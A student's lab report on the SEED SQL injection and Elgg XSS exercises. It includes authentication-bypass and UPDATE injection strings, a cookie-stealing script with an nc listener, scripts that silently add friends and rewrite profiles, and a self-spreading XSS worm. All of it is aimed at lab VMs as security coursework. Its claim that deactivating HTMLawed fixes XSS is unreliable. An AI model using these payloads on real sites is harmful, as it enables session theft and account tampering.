20242935 2024-2025-2 《网络攻防实践》第十周作业
20242935 2024-2025-2 《网络攻防实践》第十周作业
实践十 Web应用程序安全攻防
一、实践要求
一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。
二、实验过程
任务一:SEED SQL注入攻击与防御实验
首先下载安装SEEDubuntu16.04
下载了以后解压得到
- 再选择创建新的虚拟机
- 选择“自定义”
- 选择“稍后安装操作系统”
- 选择“Linux”
- 选择“Ubuntu”
- 选择“处理器2内核1、内存2048MB”
- 选择“网络地址转换”
- 选择“LSI Logic”
- 选择“SCSI”
- 选择现有虚拟磁盘中的“SEEDUbuntu-16.04-32bit.vmdk”
- 设置一下网络为“VMnet8”
(1)熟悉SQL语句
-
我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
-
输入命令,登录mysql数据库(密码seedubuntu)
mysql -u root -p
- 输入命令,来看数据库中有哪些具体的库
show databases;
- 输入命令,使用Users数据库
use Users;
- 输入命令,查看Users数据库中的表
show tables;
- 发现这个数据库有一个名为"credential"的表
- 输入命令,查看"credential"表的详细信息
select * from credential;
(2)对SELECT语句的SQL注入攻击
- 上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 在浏览器中输入网站:www.seedlabsqlinjection.com
- 按快捷键组合:"Ctrl+U"可以查看该页面源码
- 可以看出:用户点击提交后,表单将用户输入的信息使用"get"方法提交至"unsafe_home.php"页面进行权限校验
- 输入命令,查看服务器验证文件unsafe_home.php
vim /var/www/SQLInjection/unsafe_home.php
- 可以发现这个sql语句未对用户输入的username进行格式的验证,那么就可以利用其漏洞
- 输入Username为
Admin ’#
- 就可以注释掉后面的”and Password='$hashed_pwd“,此时等价于:"WHERE name= 'Admin'"
- 攻击完成,无需输入密码,可以直接进入Admin用户页面进行登陆
(3)对UPDATE语句的SQL注入攻击
- 通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- 首先使用之前的SQL漏洞,输入用户名"Alice' #",用Alice的身份登录,看到Alice相关信息
- 点击 左上方的"Edit Profile",进入到编辑信息页面
- 输入命令,对update语句进行分析
vim /var/www/SQLInjection/unsafe_edit_backend.php
- 输入以下语句
', salary='2935' where Name='Alice';#
把Alice的Salary修改为2935,修改好后点击Save
- 即可看到Alice的Salary变成了2935
(4)SQL对抗
- 修复上述SQL注入攻击漏洞
- 对于对SELECT语句的SQL注入攻击的漏洞修复
- 先提权的root
su root
- 在unsafe_home.php页面中,对SELECT语句进行预处理
vim /var/www/SQLInjection/unsafe_home.php
- 将原来的php代码
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
- 修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
- 重新进行SQL注入攻击
- 再进行SELECT语句的SQL注入攻击时就发现攻击失败
- 对于对UPDATE语句的SQL注入攻击的漏洞修复
- 在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理
vim /var/www/SQLInjection/unsafe_edit_backend.php
- 将原来的语句
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
- 修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
- 即可
- 将原来的语句
// if passowrd field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
- 修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
- 即可
- 会发现UPDATE的SQL注入攻击失败
任务二:SEED XSS跨站脚本攻击实验(Elgg)
- XSS攻击的三种主要类型
类型 | 描述 | 举例 |
---|---|---|
存储型 XSS(Stored XSS) | 恶意脚本被存储在服务器中,如数据库、日志等,被其他用户读取并执行 | 攻击者在留言板写入 <script>...</script> ,每次别人访问该留言就会触发 |
反射型 XSS(Reflected XSS) | 恶意脚本通过 URL 参数等方式注入,服务器直接返回这段脚本 | 用户点击一条恶意链接,如 http://xxx.com?q=<script>...</script> |
DOM型 XSS(DOM-based XSS) | 恶意脚本在浏览器端被 JavaScript 动态生成,不经过服务器 | 前端 JS 将 URL 中参数插入网页中但没有做转义处理 |
(1)发布恶意消息,显示警报窗口
- 在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口
- 网址可以在所示的文件夹里找就可以
- 用Alice的账户登录
- 账户为:"Alice",密码为:"seedalice"
- 这样就进入到Alice的信息页面
- 再点击Alice的头像,再点击"Edit profile"按钮
- 在下面Brief description文本框输入语句之后,点击"Save"按钮保存
<script>alert('wcy_20242935');</script>
- 发现出现了"XSS弹窗"
- 登陆Boby用户
- 账户为:"Boby",密码为:"seedboby"
- Boby查看Alice的信息,会弹出XSS弹窗
- 表示存储型 XSS攻击成功
(2)弹窗显示cookie信息
- 将cookie信息显示。
- 重新登录Alice账号
- 在Alice的Brief description文本框输入之后,点击"Save"按钮保存
<script>alert(document.cookie);</script>
- Alice的页面弹出提示框,并且显示当前的cookie信息
- 登陆Boby用户
- 账户为:"Boby",密码为:"seedboby"
- Boby进入Alice的页面时同样会弹出提示框,并且弹出当前访问者的 Cookie
- 代表存储型 XSS攻击成功
(3)窃取受害者的cookies
-
将cookie发送给攻击者。
-
登录Alice账号
-
在Alice的Brief description文本框输入如下脚本
-
这段代码的作用:
- 在页面中动态插入一张图片标签(
<img>
) - 这张图片的 URL 伪装成
http://127.0.0.1:5555?c=...
,其中c=
后面拼接的是当前用户的document.cookie
- 结果:浏览器自动向攻击者服务器(127.0.0.1:5555)发起请求,并在 URL 参数中携带受害者的 Cookie
- 也就是一旦受害者浏览该页面,攻击脚本执行,受害者 Cookie 被悄悄发送给攻击者
- 在页面中动态插入一张图片标签(
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');</script>
- 在命令行中输入命令,监听指定端口,当使用另一账户访问alice的profile时,获取到该账户的cookie
nc -l 5555 -v
- 登录Boby的账户,查看Alice的profile,发现能够获取Boby的cookie信息
- 在终端获取到Boby账户的cookie
- 代表存储型 XSS 攻击成功
(4)成为受害者的朋友
- 使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 登录Alice账号,搜索“Boby”,点击其头像
- 即可访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,点击“Add Friend”按钮
- 按快捷键组合"Ctrl+Shift+E"打开开发者模式Network页面,再点击按钮"Add friend",添加Boby为好友
- 观察好友添加时,网页请求信息及相关参数
- 发现浏览器向http://www.xsslabelgg.com/action/friends/add发送了GET请求
- 地址是:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1746729461&__elgg_token=ixI7e9gB_V9DXJRUqRACxw&__elgg_ts=1746729461&__elgg_token=ixI7e9gB_V9DXJRUqRACxw
- 可见添加Alice为好友时,还携带了friend=45、ts和token等信息
- 按照同样的方法可以知道Alice的id为44
-
在About me一栏中(HTML模式)插入XSS攻击代码,可以做到无需审核直接添加好友
-
代码中friend=44表示要把 ID 为 44 的用户加为好友(攻击者自己,这里是Alice)
-
想要达成的效果是
-
用户什么都没干,只是浏览了页面
-
就“自动”帮攻击者账号加了好友
-
没有提示,没有确认,用户毫不知情
-
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 点击"Save"按钮保存
- 可以看到已经成功添加好友
(5)修改受害者的信息
- 使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 进入Edit profile页面,点击按钮"Save",看到Network请求信息
- 同样构造脚本填入Alice的About me一栏中
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This had been changed by 20242935_wcy.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 点击"Save"按钮保存
- 使用另一账号Boby访问Alice界面,再返回Boby主页,发现自我介绍已经改变,表明攻击成功
(6)编写XSS蠕虫。
- 构造脚本填入Alice的About me一栏中
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>This had been changed by 20242935_wcy again. "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 点击"Save"按钮保存
- 退出Alice,使用Boby登录
- Boby原本的About me是这样的
- 当访问Alice的页面后,自己的About me页面改变了
- 当使用第三个账号访问第二个账号时,可以发现该账号也会被感染
- 登录Samy账号(密码seedsamy)
- Samy访问Boby主页,由于Boby被感染,那么发现Samy信息也被修改
- 表明攻击成功
(7)对抗XSS攻击。
- 登录Admin账号(密码seedelgg),点击点击右上角的Account->Administration->plugins,将HTMLawed设为Deactivate状态,主要作用是对用户的输入输出进行校验并且去除特定标签
- 再次访问Alice主页,XSS漏洞已被修复
三、学习中遇到的问题及解决
问题一:PHP脚本尝试写入文件时,需要确保文件及其所在目录具有适当的写权限。如果权限不足,就会导致无法写入。
解决方法:需要提权到root再进行写入修改保存。
四、学习感想和体会
在 SQL 注入部分,第一次真正感受到“用户输入未加处理”所带来的严重后果。利用简单的构造语句就可以绕过身份认证甚至篡改数据库中的敏感数据,这种攻击的威胁程度远超我之前的认知。通过后续的预处理语句修改与验证,我也更加明确了 Web 开发中数据交互的安全边界和规范写法。在 XSS 实验中,从最初的弹窗、到窃取 Cookie、再到无感加好友、自动修改资料,最后甚至实现蠕虫式传播,我深切体会到了客户端脚本攻击的破坏力。尤其是“用户无需任何操作,只要访问页面就可能中招”的特性,让我更加明白前端防护同样重要。